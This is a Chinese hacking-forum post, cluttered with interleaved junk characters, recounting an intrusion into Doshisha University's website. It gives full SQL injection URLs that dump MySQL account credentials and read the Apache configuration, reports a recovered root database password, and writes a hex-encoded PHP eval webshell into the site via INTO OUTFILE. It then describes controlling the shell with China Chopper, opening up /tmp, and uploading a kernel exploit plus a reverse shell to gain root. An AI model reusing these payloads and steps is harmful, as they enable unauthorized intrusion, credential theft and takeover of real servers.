入侵日本同志社大学技术分析
3 z7 D7 E& k' K- \3 C
. W6 M: P3 |% Y, d: R4 c O3 L9 _http://www.doshisha.ac.jp/chs/news/index.php?i=-1& R' l1 g! A( N$ f
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:- p$ r) C2 j# v* c) y' U
7 t0 w# V' g: d: ] J* z; j
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user6 z4 {& b# X! t q7 W
/ g5 O) I- t B6 M3 ~ 6 r% \/ B. Q$ B$ K
1 \1 t- e1 S/ c9 q. h2 t- }5 f7 l6 _
//@@datadir为数据库文件路径
4 ]8 V- X( v% b n- b7 y3 y. R9 O
6 Y* x% [8 V" r @8 P# h
//load_file读取网站容器apache的配置文件
/ b. h9 ` }' e0 R1 ~ ' P3 S8 p4 J1 m
+ @% o- {8 Y* T9 s4 {% f, c" b//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 7 p1 r" U* ?5 U
复制代码; ]# U5 w) S$ @: v2 {
6 s1 R4 ^5 Z, [6 w g7 `% `
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
/ R, t7 n$ x# q- D5 P1 X; _6 T/ u" u. \6 h
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。4 V* c7 y/ e( R1 B3 S' F8 O
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)" ^) N& {, a: j+ g) {6 i. T: y
3 m" a& v B Y7 M# p& q前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。! [6 o5 L4 Z/ ~ t
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
" N" j5 N: ^8 ]# ]+ [8 j G: I+ v2 s; x
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/4 P- A+ `5 }3 Q* `5 n' Q
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
& b# }8 p2 N4 J* F直接写一句话:
. `" ?) H4 f9 ?+ C
$ u) A# a s m' \; v3 i8 e- dhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
% ]' T; V( ~* V6 P5 q2 p5 m! Y9 f' t; x% i2 z# h
* |% y6 ]8 Q; M$ [
; e6 r) s& G: O( L# B6 t
//最后的#是为了闭合前面的语句
+ g0 p1 |, R) _; M7 g8 d # k% J+ X, a3 C% G g, o
. x" a. W; W! r+ _! S/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
5 @0 ?; `) P& a8 }1 O$ Y' L' u5 `# s 4 C+ X- V# B5 |
$ \( u8 b. Q9 V5 p1 j- [) R
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ - M) ]2 |) z8 R5 }* x
6 w" m3 \$ s7 B6 ~+ I- y
! g1 b8 x. Y" n) ]% L
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
9 U! O5 G! L3 M# D3 j- ~7 T
- S2 a' ?7 m/ U( O- u4 L! \% h' Z. a6 X
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
. I7 m4 z0 s; `( a; Z6 C//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
8 ]% |% C( x% T; }7 w! I复制代码* ] G! _3 C6 C; k+ O _2 T
6 b) O9 R% t2 r5 L4 s `
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有7 M6 ] C3 o9 t' Z- _ `! T+ C7 E
通过上述注入语句,我们就得到了一句话木马:
, E) O& Q7 y3 k/ G0 D0 ?
- o% z* A" o2 r/ q4 \9 \ 2 M! n3 @! T8 P( u
+ X/ S1 m/ y1 h H0 Q
9 H6 Z& b2 e9 q$ T ]& K
5 c |: _4 D# y* W" `* jhttp://www.doshisha.ac.jp/english/engnews_img/aa.php 4 Q; i. d: m; I
复制代码5 s5 ]2 k2 [. i, `
6 ~ Q3 ~* z a" w. u1 N! e用菜刀连接,密码是cmd,如图所示:
. `0 z" U' @' A: F4 X3 {6 n然后在命令提示行里看了一下,现在的权限是:
' q+ s' J q4 P
7 g- O/ u& v% Q+ g4 K7 B: d* B2 B之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。# c/ c' \2 I7 v, S
好在赋权给这个文件夹不需要root,直接执行赋权语句:
F4 T Z8 V3 T% D" \( W8 J4 x2 Z; w4 {) V% L2 l4 g% y
! T6 d: b5 z: e( r
8 i0 z5 S, h# q, ~! e$ J$ _* F
. r: T7 E8 R, m9 {: f9 C! L+ f1 @ T2 x* u i
chmod +x /tmp/
$ |* h# z7 s$ M" a/ H4 S复制代码2 ^7 |' r9 {; t: q: J
: D! O7 Q1 F' k% z* S: h U( S
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
9 f) L4 \! Z- s然后就查了一下内核版本:/ T+ V: q! f* `( M* w. f
+ J0 H1 I; F+ b2 `6 E* i* \
( E7 m5 a; D7 i/ _. H4 m* h4 n* s5 M; D' L1 Q" i5 q+ o
- p# U, i' M( j0 E( E
0 _! i5 J: a4 }8 Y g, funame-a 1 Z* U+ |7 ~0 b
9 h$ E. P1 Y+ @7 S* j6 i, P) z
- Y- c- D5 H' ~4 N% ~//其实lsb_release -a " }- N `) y3 @2 Q' p6 |$ T" C
复制代码 l. D+ I$ G1 f: a2 U% `
9 [+ t* E! D4 _( a7 H如图所示:
9 w2 o1 u# g! s& d' A8 Z" `2 j' A9 u6 n5 F( E! X& z9 W3 _
内核版本:linux mainz1 2.6.28-194.e15
' q& ]5 g4 @8 x% R! j; x系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
8 [0 [0 C( N% w" T# ]查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
$ w( i V$ w% J% p1 t
8 h; R, H+ b# d, U然后给予执行权限
; S) g" [$ u$ V0 Q; U一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样2 \; k2 J5 I, Z7 k0 T {2 r
3 m" k+ W6 p, k$ w; c
0 n6 `# H# _9 S0 w8 D( N/ H% L" }7 A3 x% y3 K: I
3 O( f9 r; o' N4 a! F; ]7 O7 t: @' F
2 w9 p' y$ R% L" z+ o- z6 p# Nchmod +x /tmp/2.6.18-194 7 H! W' i3 q+ `5 T c0 W) C) \
复制代码 然后直接执行!~
; v. I, d' {7 E/ q& M7 B# W" n: C3 @; \) k# L; u) V$ l# A7 Y
总结:
8 I6 P! q4 V0 G这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了& w; z4 w* L. V- {7 D
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root: ?8 W% W x. G" Y- X8 Q4 N
+ Z3 ^" p; ]! u: k; h
|